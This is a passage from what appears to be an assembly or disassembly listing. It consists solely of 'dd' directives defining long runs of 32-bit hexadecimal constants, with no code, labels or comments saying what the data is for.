0E7F65145h, 0A15BAACh, 370FD4D3h, 0F827C4D2h, 0EA244D1Ah dd 2CC36475h, 9F717AEh, 60F157BCh, 0B204F1F7h, 959DB77Eh dd 65F499AAh, 7EF91465h, 0D1A21E75h, 0CFBF12BDh, 0E0B27F7Ch dd 225CABB7h, 806E968h, 5588A987h, 6F009058h, 5A817837h dd 706FAB6Eh, 0C35E588Bh, 9FB6B7BCh, 8007F3D8h, 8522A850h dd 48F80F1Fh, 0EA9046F5h, 0E35F7278h, 0A689B7ADh, 6DF5B908h dd 0B00FFCE2h, 85757192h, 0FCA5FC4Ah, 8E91308h, 280AE3D9h dd 53045162h, 99F18465h, 75291B72h, 62ACCB4Ah, 831AA7E9h dd 84A795E9h, 0FA636046h, 7327593Ch, 4895714Ah, 34F1570h dd 2351E664h, 60F16A4Eh, 430CFD67h, 0F74390F9h, 7485155Ah dd 718F4F14h, 0A639D269h, 76695852h, 0F6A75D62h, 0A61BCBA2h dd 47569462h, 0E15A49D2h, 0C82B745Ah, 0C070D528h, 0F4922B56h dd 0DE051B4Fh, 0E3B0527Fh, 0ABDCA957h, 7D09E8FDh, 0CB6011E0h dd 0C1D34F37h, 0B469EEFCh, 0D38F5C9Ah, 21CE2B26h, 0FBF2BD24h dd 2D8C43C0h, 7C081EF3h, 6DEF75CCh, 250C2E5h, 0A1B80E1h dd 66CE963Ah, 0DDA048FFh, 0B6E35BFBh, 0A507FA79h, 1D950F09h dd 0AA553D5Dh, 2DFAC274h, 446AFB3Ch, 0CA0E5F0Fh, 78019739h dd 0CC934ECAh, 44271B23h, 13719E66h, 0BDAF489Ch, 0C914C8A7h dd 14F12A3Fh, 193A1B25h, 0C31DE8AAh, 0F0D62DB3h, 3F0272E6h dd 50C48D0Fh, 6BADF384h, 0E3291EA3h, 8B78D3D1h, 0D9420F9h dd 0B2A4D87Dh, 0F64E383Dh, 0C4FA8B1Ah, 0CBD9B865h, 0AFD3D865h dd 0C0BA642Bh, 9CCB7E73h, 0CAE0576Bh, 145D1E6Eh, 6FCBAA61h dd 41970761h, 3AD5BF01h, 6785DAC4h, 4B16B6AEh, 724A6536h dd 1DE35603h, 78D01A7Ah, 0E3F608C2h, 0A382433Eh, 87BC35EEh dd 3EAB4907h, 864DB79Bh, 1D22ABD5h, 896A1FB1h, 43F195E5h dd 0C7EB4FE5h, 57C1CC8Fh, 0E4547EF8h, 170B088Ch, 0AC002F1Dh dd 6F530272h, 74C6E173h, 818C7239h, 0DF2C26A8h, 99164EC4h dd 0F310E4FCh, 863C049Fh, 2B25A45Dh, 0F11B2E81h, 95919601h dd 0BC31E65Bh, 0DF541AF9h, 0C879E59Ah, 0EA4DEE9Ah, 0EBAB0476h dd 80661401h, 0E77C777Ch, 0C6C9616Eh, 58A5BFC6h, 86CD4A26h dd 455F3D4h, 1A6429B0h, 10903279h, 0D52740EFh, 64BEA7E2h dd 4CD8AB9Bh, 8001CB29h, 6259950Dh, 895D329Ch, 9774E646h dd 0DECB1A27h, 0E43B7B40h, 8909679Eh, 446565B4h, 78959DB5h dd 8AE1BD30h, 0F131FC34h, 0A21F8DE0h, 0CB176E02h, 8DD7F84Ah dd 0A444206Dh, 0C2F92349h, 58A1A536h, 0A19C0E64h, 507AC9A7h dd 0A6EAFB7Dh, 0C28972E2h, 2BB405B5h, 0C709AEA9h, 5E6869F8h dd 0EC02A363h, 3679DC3h, 368DCB8Ah, 603CFA81h, 566C8B6Bh dd 4D7E273Dh, 0C8DC8BD7h, 3F5FBB3Dh, 0D4722A8Bh, 0FB2749B4h dd 723D3838h, 2DAD408Ch, 57ACD441h, 5DECE0E7h, 0E19FAA63h dd 0D8AF854Bh, 7B4202D6h, 647DF67h, 572C429Ah, 0F533AC0h dd 5B667E50h, 0BB68D488h, 0BB84F21Ah, 58095002h, 0B0786F0Ch dd 28BEF408h, 0B30E243h, 0AE6C26EAh, 0E4636AC8h, 0C7684D04h dd 28F5857Ah, 695D4937h, 0B7A7A2E0h, 4C0BCAE5h, 8A4A0D36h dd 7ABFD1CFh, 3508C473h, 7F738943h, 521094C5h, 62B29E04h dd 2E144194h, 1B851331h, 4DB554BEh, 0A73D5542h, 0A2D802A2h dd 2B909C1Ch, 2DC7CAF0h, 3B020E50h, 0A39ABEEh, 0EA1A2F5Ah dd 0BBE48587h, 935ECEDBh, 0CEBB86C4h, 3CC1FDAEh, 0E31C01DAh dd 0FBD2FDDh, 0A1309878h, 907963D6h, 0D3EE408Eh, 14ABDDh dd 0DC64E6EBh, 9FBAB1FCh, 0B359E07Ah, 0C927BCA8h, 64759588h dd 137454BAh, 9214CCEEh, 257992D0h, 0D17D6A47h, 585EB46Dh dd 0AB4F748Ch, 67A0FD33h, 0FE608A67h, 823E920Fh, 318D42B2h dd 0FE30CA44h, 0DE70BB57h, 4587C582h, 4D9DDDBCh, 0F7717EA3h dd 8C01D35Dh, 0EE3B818Fh, 24475ECEh, 0C7FB7374h, 0A7EFC250h dd 3D1BB243h, 2AD4453Ah, 0F6655E77h, 5B616523h, 490A9F5Eh dd 3EC4916Fh, 5DDDBADDh, 1E454DEDh, 37439F4Eh, 0E330F2BAh dd 0DEE9CCF7h, 3C8C0C98h, 46C1C847h, 14F6F652h, 9726F91Eh dd 1A391461h, 0B37A628h, 0DF460E13h, 5FE0BEDFh, 27652EF8h dd 0C859363Ah, 612EFD58h, 995436Dh, 2BDC38Dh, 963956BEh dd 0EFF78DAh, 65BF5103h, 0DED2994Fh, 74717442h, 0B77E7FEh dd 9BA022D0h, 0CCFC98EFh, 62553C1Ah, 0FCB11FF4h, 0AAEAE35Fh dd 35D86DECh, 0A9992E60h, 0CCC60799h, 3F4403D1h, 4C78C98Bh dd 8B54DF17h, 3D1FE5AAh, 4D73D67Eh, 17188BF8h, 0A1EA3BD9h dd 0F65C8E98h, 0FB86CE12h, 928DE052h, 0ADA24959h, 4EB7CF2Ah dd 9C8E1213h, 751ED672h, 9EBE72B2h, 44A52E97h, 3AEE4D8Bh dd 8BC8FDFAh, 0FEFD49A6h, 187A8DF3h, 7F8C0EBAh, 6E148371h dd 93512067h, 3F8A319Ah, 0C1B9B5B5h, 0E47C79DCh, 1D4486FCh dd 9BF2D4C5h, 3AFC3D3Ah, 0D8F1DAE8h, 0BE4F2AACh, 55DA4CCAh dd 3943B88Eh, 0C15A6F89h, 7AB2EE90h, 72AAE9FBh, 94A17660h dd 0F87D9E08h, 4B1E4C0Ah, 986AEF69h, 6915635Dh, 8F5FC3EAh dd 3761EF11h, 0F514BA0Dh, 5869E945h, 0CA8D0498h, 8C7FC4Eh dd 52454D8Bh, 94090450h, 5C980FF0h, 8747F56Bh, 0F349B4CEh dd 2462FE9h, 0A0966D85h, 7FA3895h, 8F1C5B79h, 60ED22D0h dd 98920768h, 0D8F47658h, 0F4132B89h, 0BFC2DF61h, 89507A37h dd 0E1602AA3h, 0C240F5C7h, 0DECCDA5Fh, 0F9EFA14Bh, 850162A4h dd 1A76B2F6h, 8F0C0F52h, 6F74915Eh, 0FA9A7C72h, 7894DC6Fh dd 8D570FE5h, 0DD3FF05Ch, 45561FD2h, 0ADD19BC9h, 2768E242h dd 0FE62C2ECh, 4629453Bh, 0D0E915AEh, 8CE47C8Bh, 30D35945h dd 0F703EE4Ah, 23FD44D0h, 2D0874BAh, 327946CBh, 0CA34F797h dd 7183483Ah, 8F4D0976h, 7407DEFBh, 0D125F95Ch, 0B66AE855h dd 74AAC9D2h, 8C52D350h, 8AB40D6Fh, 6C30E8B8h, 9D6F4149h dd 0B48E4C86h, 142F601Ah, 323B872Ch, 0A7588E5Ch, 5359CB62h dd 2FC939ECh, 0EE7E8929h, 5927E713h, 0D728BE1Fh, 0CE334888h dd 4F00B2E6h, 518C24A9h, 5994AA85h, 2FFC8308h, 71FD0404h dd 81DA9328h, 66591D9Fh, 0E894BB31h, 372BBFA2h, 0EA08F939h dd 0EA1EE427h, 0FE12D2D2h dd 4555655Eh, 0FBA33219h, 4F2B2461h, 0C5E289AFh, 9E9CADDAh dd 1CF5ADh, 386647D7h, 946737AFh, 580E5CE6h, 33EEEB58h dd 7F15456Dh, 0B23C8F84h, 54006275h, 4ED65AAFh, 3762B477h dd 1F8382F7h, 2CA54BFAh, 4062939h, 0DFA5007Eh, 6701FB3Fh dd 619EBD5Ah, 0A66E5940h, 0EC493A37h, 0FA0D52F6h, 44416AA8h dd 95E2DAF4h, 9E7028BEh, 0E2C689Dh, 93187CA9h, 69DF6533h dd 0D7D82FB3h, 1FD83B48h, 33764A79h, 0E449AE00h, 4704BE57h dd 35B8D371h, 4C45D380h, 0DF4A9E49h, 0E7EFA3Ch, 59FCE1D0h dd 0AA8A8A9Ah, 0A6B2D479h, 34FB6E45h, 0DC99FD47h, 0EF47B518h dd 0C7B78A90h, 0D2455A4Fh, 0A2D29D9Dh, 0DEA22690h, 6E28ED8Dh dd 834CF40Ah, 3C44F421h, 33428B45h, 4447B8B5h, 0B205D626h dd 401AC544h, 4014B606h, 0BC382DDDh, 849883ABh, 0F6665142h dd 7C38E42Fh, 178EEA71h, 1A57C89Dh, 1C6C70F0h, 30E6D99Fh dd 1804DD9Ch, 0FCB39807h, 821C418Dh, 2D8541D5h, 61111886h dd 250DC68h, 0F1D551D2h, 0DFFE871Ah, 338E772Ah, 45F7E861h dd 73D83846h, 9DD00451h, 92B26052h, 19D398B1h, 0B2E86777h dd 0B2883020h, 0C9490285h, 55174BFh, 7280C4B6h, 5EB57CA5h dd 9B06AD7Dh, 333F0DB0h, 0BAF536EBh, 2F227593h, 0DDB279BBh dd 8E7C76CEh, 33AA3F70h, 0F8AF32BFh, 41C949E2h, 76D5147Bh dd 0A3E7CAFCh, 0CCA7A357h, 0FBDC0368h, 38E9A171h, 1AD389BAh dd 29C2E8F5h, 7B3782Ch, 42E903BBh, 546CBADh, 0FC0FA35h dd 0E23E415Eh, 6F2CD51Bh, 0E65DB8AFh, 0E6ED4B52h, 918FF844h dd 0A8CDB51Dh, 9E9BBD42h, 9D156B28h, 48CEEA75h, 0DB53E036h dd 0A1030C0h, 0A363C2A8h, 5E516813h, 591EFCD3h, 0AF794759h dd 9B210CC1h, 83DAE0A9h, 586DA441h, 0EFEBEADh, 0BD5996EEh dd 86652E6Fh, 0E10EAA7Ah, 44252D3Bh, 0F697A569h, 51E3DBD3h dd 0F083043Dh, 71D0C871h, 45442CD8h, 5132546Ch, 3DE490A2h dd 97A48AA5h, 0B2221A26h, 4756AA03h, 34FC968Ah, 89A77228h dd 0D3F26771h, 0F00822DAh, 0F4448CDCh, 0F5FE13A4h, 949A4423h dd 0AE19F1h, 7452A1BDh, 0C8C3C82Fh, 0F875B282h, 8F4367F2h dd 267838ACh, 4CBC89A3h, 0B35A55CFh, 0E3370603h, 0B6C59549h dd 0BE1E41E5h, 0C0F87EBDh, 536FBC56h, 0D82B8A7Fh, 88E5BF9Ch dd 219C7CC8h, 8B7B42C4h, 0C665BFA3h, 0B54EAB81h, 6669D9D7h dd 0D0D361B5h, 0DAAD54F9h, 0E3F88A2Fh, 0DA9B052Eh, 0AEEC5B51h dd 43B40F0Ah, 15B4E20Fh, 998DD910h, 4BE2370Ch, 73A7C26Fh dd 78801C7Ah, 0D9EE6BA2h, 6903BFB3h, 243EBB9Ch, 0B7A0E4DCh dd 63A71A23h, 372F2B49h, 0F365896Ch, 716ADEFh, 0E912F764h dd 0D1F49423h, 0DC186CBCh, 96403783h, 0AE8EC31Bh, 0ECD63209h dd 791351h, 605A0473h, 22761AC8h, 97A6ED16h, 0BA6F6378h dd 83D16136h, 65DAC9EDh, 20301FC3h, 5F0C81B5h, 6A1BBEA4h dd 0D90E4E5h, 0DEE7AE80h, 4D12AFB8h, 8BF3ACE9h, 678ECC79h dd 57F9AE13h, 0E1C1B585h, 42294130h, 1A62F7EEh, 7931AA4Bh dd 5CF8FA7Fh, 73ACF8E4h, 0F32F09BCh, 0DD6C5AEEh, 2928A23Eh dd 0E606793Fh, 0F051104Bh, 0B96DC343h, 0A7AD02B6h, 0D4C00DADh dd 0D9B14F93h, 429AA8FAh, 0C6A42068h, 0DD1A13FDh, 0AD6184CFh dd 780B4D05h, 0F9F2DF71h, 0E7888C4Bh, 0FBF2E042h, 73B38EB1h dd 100B860Ah, 0F5AC5643h, 0C651A774h, 5B89129h, 39634721h dd 872E6191h, 6E4E1EDCh, 0A035334h, 0F84594B1h, 0CA9012D0h dd 9FBEB9DCh, 95F1179Eh, 2D773A2Fh, 60E397D8h, 9AF6C0DDh dd 379A5F7h, 9108099Ch, 0D747760Fh, 9B8E0233h, 16889900h dd 13616402h, 7574174Ah, 0CC73266Fh, 0B97198h, 0CA5C5F9Ch dd 1670B0FCh, 2B8C55F0h, 0C8EC6F54h, 0F36C62FFh, 9590B694h dd 84D5EAB9h, 1CE6B544h, 0E934EEFFh, 91149628h, 0CC5FCD65h dd 0A33FF55Dh, 0CCA24BF2h, 0DD31BCA5h, 598C380h, 470DBE8Ch dd 0C06B23BBh, 41010964h, 85B6DFD2h, 35F03A6Eh, 9DEC3295h dd 0BE29650Fh, 15133AC9h, 0B59840CEh, 0E9D3FABEh, 88686E00h dd 5D46824Ch, 118B64C7h, 6985EAD3h, 809C098Bh, 98118B00h dd 0B42329DBh, 0A4A9A48Fh, 0AFE68A2Eh, 8812B32Ch, 0D5478E64h dd 0A265053Ah, 0D8AAD0C9h, 229A1958h, 7478F720h, 36B34174h dd 427317F8h, 4D508BDh, 153B1AEEh, 1C1AB632h, 0B21F26FAh dd 325CAAFEh, 112CE776h, 8A49A96Bh, 0FC0CF34h, 82431F06h dd 355D5A1Bh, 5A1E361Dh, 48B691CCh, 1C5F14A5h, 0ADCBEF15h dd 65F01F56h, 6BAACBE4h, 1C60ECBEh, 1AA1D70Bh, 3FDCC5h dd 13866526h, 8DC02D36h, 910DB91Fh, 0CAF3CA6Bh, 75E34C69h dd 0B84CD7AFh, 23CB8AC4h, 69804BDDh, 6A259736h, 2C473A53h dd 20CF7FF0h, 8E62F34Eh, 93409C9Eh, 1CDF0D65h, 0E5E65741h dd 6ECCAC7Bh, 9B15F0D8h, 5F083EC0h, 0D028DA0Bh, 0CF957D94h dd 81B5F477h, 5B55B8E6h, 0FDB1E0E0h, 535C8B1Ah, 45BB071Ah dd 0A8464A47h, 0FF53234Ch, 0CF6E3130h, 67D95D02h, 13655FF2h dd 4E47063Fh, 28BAC3D3h, 0F6C08A29h, 928E2CB6h, 701DC989h dd 0EA5F49E1h, 97154AE4h, 66FCE765h, 1AE766EAh, 70DB024Eh dd 147E9DD8h, 0F62B53B4h, 0F4B987D5h, 214FE60Eh, 0FE1C91Eh dd 4545DBBBh, 33381716h, 8EE9EF53h, 2D95D714h, 27DFE9B2h dd 0D2C42A52h, 6F12A5A1h, 0A1A6BC18h, 0A4627BC8h, 14D175ADh dd 6804B33Bh, 62B54528h, 0B1A3ACB0h, 0A9BD4569h, 84F95B1Ah dd 42BC0EDDh, 0DD8067FAh, 82FFA6E3h, 759A5E3h, 3642985Ah dd 0DC121214h, 809B80FAh, 0CB6AFD08h, 0C636DF89h, 8A1D0731h dd 7301EB5Bh, 470C91F3h, 801EA816h, 0ACACE121h, 0AB6F8A80h dd 0BEAE2839h, 0A81F1283h, 0B23D4E6Fh, 16C0AE35h, 790D6E5Bh dd 6F5DF0A7h, 0B3273917h, 0C4223559h, 7A4E4406h, 55709478h dd 0D3114040h, 0FB250B8Ch, 1042C062h, 0F5D4A84h, 5D7F27D0h dd 1D7EEA08h, 0F82BE398h, 905BAADFh, 0EB42F58Bh, 9371BF6Ah dd 0E544567Ah, 0CE90D2A1h, 65974B95h, 0B691974Ch, 3C92AA30h dd 51299F93h, 0EFA1758Bh, 24E6215Ch, 7E7E89C7h, 51777EF7h dd 3A8D280Ah, 0B7E13DDAh, 3CE6BBD6h, 0B696421h, 2151490Fh dd 5A493908h, 0B774A1F6h, 66375056h, 0DD46891Ah, 0A290C2A3h dd 25C89E64h, 0CC65D4F6h, 207E5438h, 0F63D4F3h, 0F48D260h dd 153C89E3h, 0D5DECD10h, 0D892C602h, 3500D7DBh, 0BEAF84DCh dd 0DA9E4893h, 8EAC5528h, 362E0BBh, 0EE00F8B0h, 2297A605h dd 0BD82644Dh, 0BA381EEEh, 0DA258CDDh, 164B89DEh, 0CCAECF00h dd 0AC5FAE36h, 4BEE887Ah, 0FB8DE0C0h, 0E4C8A261h, 7E072393h dd 3BCE07B4h, 0E5E8F3EBh, 0F0140B91h, 47E4C461h, 0E5CA3286h dd 0D93D9E3Fh, 0D2938AC7h, 1ADC37C1h, 21B7A683h, 6D716E96h dd 91E73F4Ch, 0A77D65E2h, 49986D7Dh, 71116849h, 0C1622EB0h dd 0FBE33C55h, 0BC7E3CA2h, 0AA318048h, 84DD3D28h, 31A9ADA2h dd 8D07BE86h, 0FB81A00h, 58BC7EAFh, 0FBD90811h, 84F28115h dd 0E5145087h, 1D75101Bh, 5A1028Fh, 0FD2DC704h, 0AA9893D1h dd 0BA8308h, 415E40BAh, 0EF729B61h, 0A6E11330h, 5F6ED871h dd 0DE5EE2C9h, 48D65E15h, 467D078Fh, 0EFE37FBEh, 0B037C5A7h dd 0A17E2670h, 232A3A83h, 3DBD7DE1h, 8E8E6323h, 4C91333h dd 6425C287h, 0FAE780Dh, 0BDF4EBD0h, 2154A556h, 0E0B31292h dd 931DBA83h, 0E7F67ACBh, 705CBE5Bh, 36BD0112h, 0F2BDBEEEh dd 6855F5B1h, 3FAA82EDh dd 15053D96h, 92A00E7Eh, 2F36867Bh, 0F7E125Ah, 0AC8403Dh dd 0D0B764EAh, 0D88F3108h, 0EB06BB5h, 0D566F7C0h, 0E6B2B0F7h dd 9C6026Dh, 0B11B9A1Eh, 484147BBh, 0CA338FEDh, 0B99A7921h dd 7514BACBh, 0DD83899h, 0D4863501h, 3290D0C3h, 3E67006Fh dd 8D0B4122h, 0D17BDE2Eh, 85F9AF78h, 0E873F9DBh, 1174891Eh dd 9D13AF3h, 7CEE3F38h, 6950F61Ch, 538F0A2h, 3B501B13h dd 0E0B2C66Ch, 68FC8C21h, 3681009Dh, 6C38AF9Ah, 972A3CA1h dd 6EB0CD07h, 0F05D8AC6h, 0DAACB0E7h, 85C0D1C4h, 0AF09718Fh dd 94C8F6E1h, 0FF9B1E68h, 0C61BF49Eh, 0FD28CD17h, 72EC250Dh dd 35D5B53h, 291B882Dh, 86342B9Ah, 0E3D0BB28h, 74FD5569h dd 572472Bh, 0B891EF11h, 5E7698B6h, 371A6925h, 0BBC1C369h dd 229723FFh, 27AC9D93h, 9012B8B0h, 44750FD0h, 0DFF0E760h dd 3B9DEDAAh, 47F8FE56h, 341A6EB9h, 0ACA2E04Ah, 9A054865h dd 994B7BF2h, 5FA6C852h, 18B17CEh, 2FA19AB7h, 9DDEF72Ch dd 1660FCD4h, 320926C5h, 0A51924B7h, 682410FFh, 0BF5A513Ah dd 12EFF7C0h, 0D907680Dh, 0BC67243Ah, 0D5152E80h, 0DE5AC3D5h dd 4A66063Dh, 0E0E828ECh, 17FEF169h, 91CA228h, 7EA4B125h dd 0F513B06Dh, 0CBD3B787h, 407E7D0Bh, 742252D9h, 6BCDDD3Bh dd 0ED9DBDFBh, 68CDA21Fh, 0CE10ABF9h, 1881A90Bh, 0E8FCB0B4h dd 0F366D9A4h, 5F2AE2h, 9CBBD0F7h, 675E2484h, 0C288DA9h dd 43864A3Dh, 0C0C2ACF6h, 979A24C8h, 90E9D470h, 4DCC162Ah dd 0C5AF58B7h, 0C0F3EE63h, 0F4E55E61h, 362DC205h, 8FDC9E68h dd 14BD5324h, 0A2EDAA2Ch, 0E4D4595Ah, 685630h, 45006731h dd 91B30AEh, 0D33A4030h, 0D18E1B98h, 81C096ACh, 95288C8h dd 9F660111h, 55901C7Ah, 0D2329B5Eh, 0ECF8D4A0h, 96B535F2h dd 0F6AD0AFh, 738F53BCh, 714A5C9Fh, 63F72818h, 0F093C994h dd 1DDE7C13h, 0ED1B000h, 650710Fh, 0B7653A28h, 8C029143h dd 0F3BC1385h, 0C09968B3h, 4BE2685Dh, 414CF7BEh, 0A6E2C40Ch dd 15803273h, 66E95785h, 0AD64276Bh, 0D02CD4E8h, 30ED8D6Ch dd 4A377A54h, 4F68B69Ah, 5959B70Fh, 722D36C2h, 93AFC946h dd 0BC27A8C4h, 0D84705FDh, 661715B0h, 16C92BF2h, 0EBA05501h dd 0D063A7BBh, 0A3053107h, 2EA22FF8h, 0CAD8CAFCh, 0EC4CD86Bh dd 0C6D01268h, 0A10CEAD7h, 0A2986ADFh, 0E3DB86C6h, 0DADEFE1Dh dd 0D05D4D13h, 7B6B208Ch, 154A35EBh, 898125E2h, 302354A3h dd 6942B4EDh, 367309FBh, 9837857Ah, 455BF5D1h, 0A911FEF8h dd 7F5B1BA4h, 0F881F1F8h, 0EB4BA98Bh, 0F17A9379h, 0EA904B82h dd 13237CA9h, 0FDEEE164h, 13B54074h, 12C144D3h, 8B27D82Bh dd 0FC25452Fh, 56795F6Fh, 84D91EDAh, 491AE113h, 4A27D501h dd 909D9863h, 0DC8B42CFh, 0B2AA77ECh, 0A93D15FAh, 6C7E0496h dd 1C877519h, 0F0C32867h, 49800EDFh, 5A5E7D1Dh, 5DB920A3h dd 7115C825h, 7412D234h, 0D838F16Ah, 0D645F339h, 2D3DE3CDh dd 4EBCED23h, 89AF82FEh, 0A734DD43h, 0CBE7ADDAh, 0DB24AC5h dd 46203808h, 16861C69h, 499C229Bh, 0AB9A86A6h, 86EDBA98h dd 105B164Dh, 952FD3Dh, 0C8E6220Ch, 2F1ECC0Eh, 0DEA9B269h dd 0B6CF3D6Fh, 49E16966h, 37E2A287h, 3EBD62B7h, 270EB99h dd 0AF3EB8BAh, 7128274Ch, 7523B901h, 4FA93C6Bh, 903D979h dd 0FA9BD9D0h, 0FE270D8Eh, 0DEDACCD0h, 1DA3E2D0h, 110CCEE4h dd 1E5A8CF4h, 32B43453h, 0FF936A6Eh, 414A639h, 56E2A45Eh dd 93C5A684h, 1EF2DA7Fh, 0CE110F28h, 0DC06F0E1h, 89F55FF6h dd 133D3B25h, 30E7D9B5h, 0B80E7B4h, 4FC25E1Ah, 0EF06D4D6h dd 0BDE6CFEh, 98CB13E8h, 41B3AEA1h, 28D68822h, 79B75503h dd 1661D641h, 0D44FD8E9h, 65B905E1h, 0BD75FA5Ch, 3E83BDBAh dd 1605C48h, 0ED0683E6h, 0CDC11804h, 12E7EABCh, 19E64655h dd 8F112FACh, 0CFE99012h, 9C29342Ah, 0D8411A83h, 0C901E23h dd 3EA6A6A2h, 1E62E0A4h, 0EC552593h, 2F7AEB26h, 88EC63Dh dd 1D660803h, 3AA0D927h, 5B4055CFh, 0B9C81DECh, 569C5730h dd 79D5CDC9h, 0C4E670AEh, 0FE75B9FDh, 94C161EBh, 0EC3B238Ah dd 7F08A02Dh, 8A7E0E9Bh, 65F2D56Bh, 10C8C76Ch, 0D3BA325h dd 0F13D9948h, 0B11B9C0Fh, 96C0672Eh, 5F31D323h, 34CCEB32h dd 920A4E7Ch, 44F14E0Ch, 85969031h, 1BEFE25Fh, 4842E8EAh dd 0E3D3A952h, 0D66A797h, 75335169h, 71EBD471h, 24AC8D09h dd 87958A86h, 3143110Fh, 0A0917143h, 7179C6Ah, 8E586EBAh dd 0CDCE4A3Dh, 0A7760180h, 0C9F2B18h, 286918B1h, 0B97989A7h dd 91742714h, 70324E01h, 0DAA66C5Bh, 911B2FBEh, 0A75AE7F1h dd 7641AC47h, 0E0D1B42h, 0D4C82889h, 6A34D7EDh, 0BCA9AC9Ch dd 0BE52CA23h, 3B00DDEAh, 66FAB04Ch, 1B388499h, 0C70893D8h dd 61E5BD09h, 345E35h, 8453DBE0h, 0BE406597h, 5091908Bh dd 0F2399949h, 0A4486C65h, 0DD13D3E5h, 0BDF6AD0Eh, 14C28B72h dd 3A2D46C1h, 0B46576D0h, 49A3CF81h, 42EFC3D1h, 9A34B387h dd 861A4CC5h, 9AC14DB1h, 3514FFF5h, 4D0FBC46h, 0ABB61D45h dd 279CBFEDh, 0F7C41FA3h, 51092323h, 542DBD7Bh, 75A9C25Ch dd 5108D2F4h, 4F6A0DBEh, 664157FAh, 30382A92h, 19DA2819h dd 81810E6Eh, 0F36A92DBh, 0E195C783h, 6154F957h, 8FCB20BBh dd 45C5F55Eh, 1A63C840h, 0F2FD04C2h, 85B7AC28h, 629718ABh dd 926A54F3h, 0AC4411D4h, 0F4EEA7Ch, 67C4AE93h, 7A886456h dd 4AF8C38Fh, 1BE2EB77h, 0EEB3B80Eh, 0E803FA35h, 0E4E2FF50h dd 1D9EC708h, 2684CCCAh, 3A42700Ah, 0DB61FB9h, 0B990C97Eh dd 0E267A61Ch, 215969AEh, 727515BCh, 0EB278D91h, 0AE4C5720h dd 0ABC3D645h, 0C1E3ACEBh, 0A84F351Eh, 74E89909h, 53177068h dd 0AA51477h, 730AB208h, 60D30653h, 6C586EBCh, 23120945h dd 804B74ACh, 781A130Fh, 0E9BB29D8h, 29A2D992h, 0DBAB3B6Bh dd 5FD9AEC1h, 0B68A1265h, 2FA64F35h, 6C4F0D74h, 6A345609h dd 0A1A423E5h, 0E37AAA53h, 878C8B4Eh, 28D7052Ch, 28EC3083h dd 48829DF8h, 15C3692Dh, 0C573552h, 2B6FA232h, 0A7083E46h dd 80629A82h, 68FAC904h, 8946DC1h, 0AE37740Bh, 11FC09ACh dd 26F40CCBh, 0C44FDBFDh, 999542F5h, 8F95B73Ah, 409DCBD7h dd 0C1017486h, 271F6AFBh, 0B9509FF1h, 17BFD841h, 9AB9615Bh dd 0FC83CE53h, 6F950D9Ah, 0D98589E6h, 0AE4FE472h, 3B29C7F4h dd 7F93F91h, 68F39318h, 0AF893DA9h, 7F06E012h, 1AE8B96h dd 56533C46h, 596B3BA3h, 7339DBA4h, 0A01240F1h, 0E9ECDBC3h dd 31D1099Dh, 5CEDE270h, 0B5C70C96h, 12E85B87h, 3CC75067h dd 82599BBFh, 0E35634B8h, 552F188Dh, 4455A01Dh, 0A4F99883h dd 7AAE58A6h, 0E3069282h, 0CDD7E236h, 0A9A2858Bh, 84C93FBBh dd 8E8BEAA2h, 71CC5ADEh, 0C91FFCCFh, 4C813E2Fh, 0BDF5D993h dd 0A11C05DDh, 84771B1Ch, 8268B5C9h, 0BB9324D3h, 225CE187h dd 0C875F391h, 32B6B6B0h, 0AAE2973Eh, 159B3B52h, 0B23BEDA3h dd 0F3C6DF9Eh, 8A5C3Bh, 816F9680h, 2ECDBA53h, 0D108E402h dd 0BEEDB77Fh, 0CFDCFA23h, 0B0A40090h, 0D9D3F370h, 43A46226h dd 0C58837DCh, 804DB535h, 0F4357C18h, 0FDDA3226h, 4FF65210h dd 559F19E3h, 0E993D36Ah, 5D8553CAh, 9134CCE4h, 883C0C9Eh dd 7F9BB0CFh, 3A243C3Eh, 0CB43DFDh, 0BEC3C47Fh, 0EBDA8D44h dd 2801792Bh, 0A594A0D4h, 6D22F697h, 582577A0h, 3D34CCA7h dd 0F223910Ah, 1F2071F5h dd 58C430C5h, 35105D88h, 7E83FF0Fh, 572A8AEBh, 0A408106Ah dd 664C93Dh, 4C28F2EEh, 88DF13A0h, 0A5A4228Dh, 36545321h dd 5791D34Dh, 0AAD48762h, 0ABA942Dh, 0D4B538E7h, 7E3332A8h dd 0D73ADD87h, 60B2C2AAh, 3B6B0C41h, 0E049553Dh, 8FDEBD93h dd 22401AA5h, 460E5A2h, 71A25865h, 0A2679968h, 3FA3400h dd 0FF7F3208h, 34518551h, 98783797h, 9C63ECF3h, 991A1862h dd 9DA6D0BCh, 68A4315Dh, 0D0D165D0h, 2E797CF3h, 15AEB404h dd 706F06EFh, 9FDCA17Ah, 346D08E5h, 0E2F646A0h, 0BF24DA9h dd 0DD705D35h, 68ECCC2Ch, 6CEA20E4h, 0E7240253h, 0AD9FFB33h dd 0C9AA2391h, 92CF696Ch, 30F56334h, 99F0E57Ah, 233B6568h dd 8AF49FE0h, 701243Dh, 0ED049650h, 0F430C7A5h, 61399A4Bh dd 0EAA7BCC8h, 0CF2793C5h, 2EF93DC0h, 4B9723C8h, 0E047B097h dd 0ADA1EED9h, 0A38FB28Dh, 44A80BDFh, 2DE0024Ah, 2348A330h dd 0ED7B8E8Ch, 5F51FCD6h, 0DF345FB4h, 0B72097C6h, 0ED6D990Fh dd 34050FDCh, 0A25A0A37h, 0C2378E66h, 7EBE9905h, 0BF9D9928h dd 5B721879h, 0E8CC4BF9h, 0BD52D728h, 8A52FA46h, 4C41554Dh dd 0DBA612C8h, 8DAE483Ah, 50ED91CBh, 0A8A3CF84h, 0C1E6BAB8h dd 3764231Ah, 0AECDDAB2h, 6DC5B48Ch, 0DCA01631h, 0FAF7FE97h dd 0DD87C5BCh, 58E213EBh, 0CE5BC05Dh, 0C55337C0h, 0B83DA863h dd 39A57D70h, 57B18176h, 0C1DB6378h, 22862EBAh, 3FF59344h dd 0DC822A00h, 31E6E26h, 11A321ABh, 6AE85D62h, 0B8962CB2h dd 3AA07C47h, 265557D2h, 5E778956h, 8969AA1Dh, 422FC69Ch dd 9D086058h, 0FE9B4895h, 0B9B2975Ch, 788BEF82h, 7F9EBD32h dd 7AAC03AEh, 566725D4h, 48829C76h, 0C93CD0E4h, 2CD4C92Dh dd 0CA040CF1h, 0E944EF08h, 2EAB6AC9h, 132ECCD0h, 9AF40936h dd 0CE57347h, 4DCAFCDEh, 6AB991A2h, 0C00F5FA4h, 613F9DDBh dd 0A46C806Fh, 17D275FFh, 2AAB4306h, 0A9DA6FCBh, 4209806Dh dd 0EBB0D677h, 8B95A56Dh, 1832E864h, 0D103CE0Ah, 7A5BDEEFh dd 4B3B3AF3h, 0D41F13C0h, 0A9BEAB13h, 